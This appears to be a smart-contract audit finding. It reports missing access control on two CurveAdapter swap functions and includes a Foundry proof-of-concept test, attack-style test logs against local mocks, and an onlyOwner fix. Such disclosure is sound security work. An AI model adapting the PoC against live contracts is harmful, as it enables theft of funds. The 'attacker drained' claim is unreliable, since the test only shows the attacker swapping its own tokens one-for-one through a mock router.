The CurveAdapter contract lacks access control on the executeSwapExactInput and executeSwapExactInputSingle functions. This allows unauthorized users to execute swaps and potentially drain funds from the contract. This is a critical vulnerability that must be addressed immediately.
pragma solidity 0.8.25;
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { CurveAdapter } from "src/utils/dex-adapters/CurveAdapter.sol";
import { SwapExactInputSinglePayload, SwapExactInputPayload } from "src/utils/interfaces/IDexAdapter.sol";
import { IERC20 } from "@openzeppelin/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
import { ICurveSwapRouter } from "@zaros/utils/interfaces/ICurveSwapRouter.sol";
import { ERC1967Proxy } from "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";
import { IPriceAdapter } from "@zaros/utils/interfaces/IPriceAdapter.sol";
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockCurveRouter {
function exchange_with_best_rate(
address _from,
address _to,
uint256 amount,
uint256 _expected,
address receiver
) external payable returns (uint256) {
IERC20(_to).transfer(receiver, amount);
return amount;
}
}
contract CurveAdapterTest is Test {
CurveAdapter public curveAdapter;
address public owner;
address public attacker;
MockCurveRouter public mockCurveRouter;
MockToken public token1;
MockToken public token2;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
token1 = new MockToken("Mock Token 1", "MT1");
token2 = new MockToken("Mock Token 2", "MT2");
mockCurveRouter = new MockCurveRouter();
vm.startPrank(owner);
CurveAdapter implementation = new CurveAdapter();
bytes memory initData = abi.encodeCall(
CurveAdapter.initialize,
(owner, address(mockCurveRouter), 100)
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
curveAdapter = CurveAdapter(address(proxy));
address mockPriceAdapter = makeAddr("mockPriceAdapter");
vm.mockCall(
mockPriceAdapter,
abi.encodeWithSelector(IPriceAdapter.getPrice.selector),
abi.encode(1e18)
);
curveAdapter.setSwapAssetConfig(address(token1), 18, mockPriceAdapter);
curveAdapter.setSwapAssetConfig(address(token2), 18, mockPriceAdapter);
vm.stopPrank();
}
function test_POC_MissingAccessControl_ExecuteSwapExactInputSingle() public {
console.log("\n[*] POC: Missing Access Control in executeSwapExactInputSingle allows unauthorized swaps");
console.log("=========================================================================");
uint256 initialAmount = 1000000 ether;
token1.mint(attacker, initialAmount);
token2.mint(address(mockCurveRouter), initialAmount);
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Attacker address: %s", attacker);
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Owner address: %s", owner);
console.log("\nInitial Balances:");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
SwapExactInputSinglePayload memory payload = SwapExactInputSinglePayload({
tokenIn: address(token1),
tokenOut: address(token2),
amountIn: initialAmount,
recipient: attacker
});
console.log("\n[*] Preparing Attack:");
console.log("---------------------");
console.log("Payload Details:");
console.log("- Token In: %s", payload.tokenIn);
console.log("- Token Out: %s", payload.tokenOut);
console.log("- Amount In: %d", payload.amountIn);
console.log("- Recipient: %s", payload.recipient);
vm.startPrank(attacker);
token1.approve(address(curveAdapter), initialAmount);
console.log("\n[!] Attacker approved tokens to CurveAdapter");
console.log("\n[!] Executing attack - calling executeSwapExactInputSingle as unauthorized user...");
curveAdapter.executeSwapExactInputSingle(payload);
vm.stopPrank();
console.log("\n[*] Final State After Attack:");
console.log("----------------------------");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
console.log("\n[!] VULNERABILITY CONFIRMED:");
console.log("- Unauthorized user successfully executed swap");
console.log("- No access control check prevented the operation");
console.log("- Attacker drained %d tokens", token2.balanceOf(attacker));
}
function test_POC_MissingAccessControl_ExecuteSwapExactInput() public {
console.log("\n[*] POC: Missing Access Control in executeSwapExactInput allows unauthorized swaps");
console.log("=====================================================================");
uint256 initialAmount = 1000000 ether;
token1.mint(attacker, initialAmount);
token2.mint(address(mockCurveRouter), initialAmount);
console.log("\n[*] Initial State:");
console.log("-------------------");
console.log("Attacker address: %s", attacker);
console.log("CurveAdapter address: %s", address(curveAdapter));
console.log("Owner address: %s", owner);
console.log("\nInitial Balances:");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
bytes memory path = abi.encodePacked(address(token1), uint24(100), address(token2));
SwapExactInputPayload memory payload = SwapExactInputPayload({
path: path,
tokenIn: address(token1),
tokenOut: address(token2),
recipient: attacker,
amountIn: initialAmount
});
console.log("\n[*] Preparing Attack:");
console.log("---------------------");
console.log("Payload Details:");
console.log("- Token In: %s", payload.tokenIn);
console.log("- Token Out: %s", payload.tokenOut);
console.log("- Amount In: %d", payload.amountIn);
console.log("- Recipient: %s", payload.recipient);
vm.startPrank(attacker);
token1.approve(address(curveAdapter), initialAmount);
console.log("\n[!] Attacker approved tokens to CurveAdapter");
console.log("\n[!] Executing attack - calling executeSwapExactInput as unauthorized user...");
curveAdapter.executeSwapExactInput(payload);
vm.stopPrank();
console.log("\n[*] Final State After Attack:");
console.log("----------------------------");
console.log("Attacker's Token1: %d", token1.balanceOf(attacker));
console.log("Attacker's Token2: %d", token2.balanceOf(attacker));
console.log("Router's Token2: %d", token2.balanceOf(address(mockCurveRouter)));
console.log("\n[!] VULNERABILITY CONFIRMED:");
console.log("- Unauthorized user successfully executed swap");
console.log("- No access control check prevented the operation");
console.log("- Attacker drained %d tokens", token2.balanceOf(attacker));
}
}
Ran 2 tests for test/audit-test/CurveAdapterTest.t.sol:CurveAdapterTest
[PASS] test_POC_MissingAccessControl_ExecuteSwapExactInput() (gas: 221830)
Logs:
[*] POC: Missing Access Control in executeSwapExactInput allows unauthorized swaps
=====================================================================
[*] Initial State:
-------------------
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Initial Balances:
Attacker's Token1: 1000000000000000000000000
Attacker's Token2: 0
Router's Token2: 1000000000000000000000000
[*] Preparing Attack:
---------------------
Payload Details:
- Token In: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
- Token Out: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
- Amount In: 1000000000000000000000000
- Recipient: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[!] Attacker approved tokens to CurveAdapter
[!] Executing attack - calling executeSwapExactInput as unauthorized user...
[*] Final State After Attack:
----------------------------
Attacker's Token1: 0
Attacker's Token2: 1000000000000000000000000
Router's Token2: 0
[!] VULNERABILITY CONFIRMED:
- Unauthorized user successfully executed swap
- No access control check prevented the operation
- Attacker drained 1000000000000000000000000 tokens
[PASS] test_POC_MissingAccessControl_ExecuteSwapExactInputSingle() (gas: 214504)
Logs:
[*] POC: Missing Access Control in executeSwapExactInputSingle allows unauthorized swaps
=========================================================================
[*] Initial State:
-------------------
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
CurveAdapter address: 0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
Owner address: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Initial Balances:
Attacker's Token1: 1000000000000000000000000
Attacker's Token2: 0
Router's Token2: 1000000000000000000000000
[*] Preparing Attack:
---------------------
Payload Details:
- Token In: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
- Token Out: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
- Amount In: 1000000000000000000000000
- Recipient: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
[!] Attacker approved tokens to CurveAdapter
[!] Executing attack - calling executeSwapExactInputSingle as unauthorized user...
[*] Final State After Attack:
----------------------------
Attacker's Token1: 0
Attacker's Token2: 1000000000000000000000000
Router's Token2: 0
[!] VULNERABILITY CONFIRMED:
- Unauthorized user successfully executed swap
- No access control check prevented the operation
- Attacker drained 1000000000000000000000000 tokens
Add the onlyOwner modifier to the executeSwapExactInput and executeSwapExactInputSingle functions to restrict access to the owner.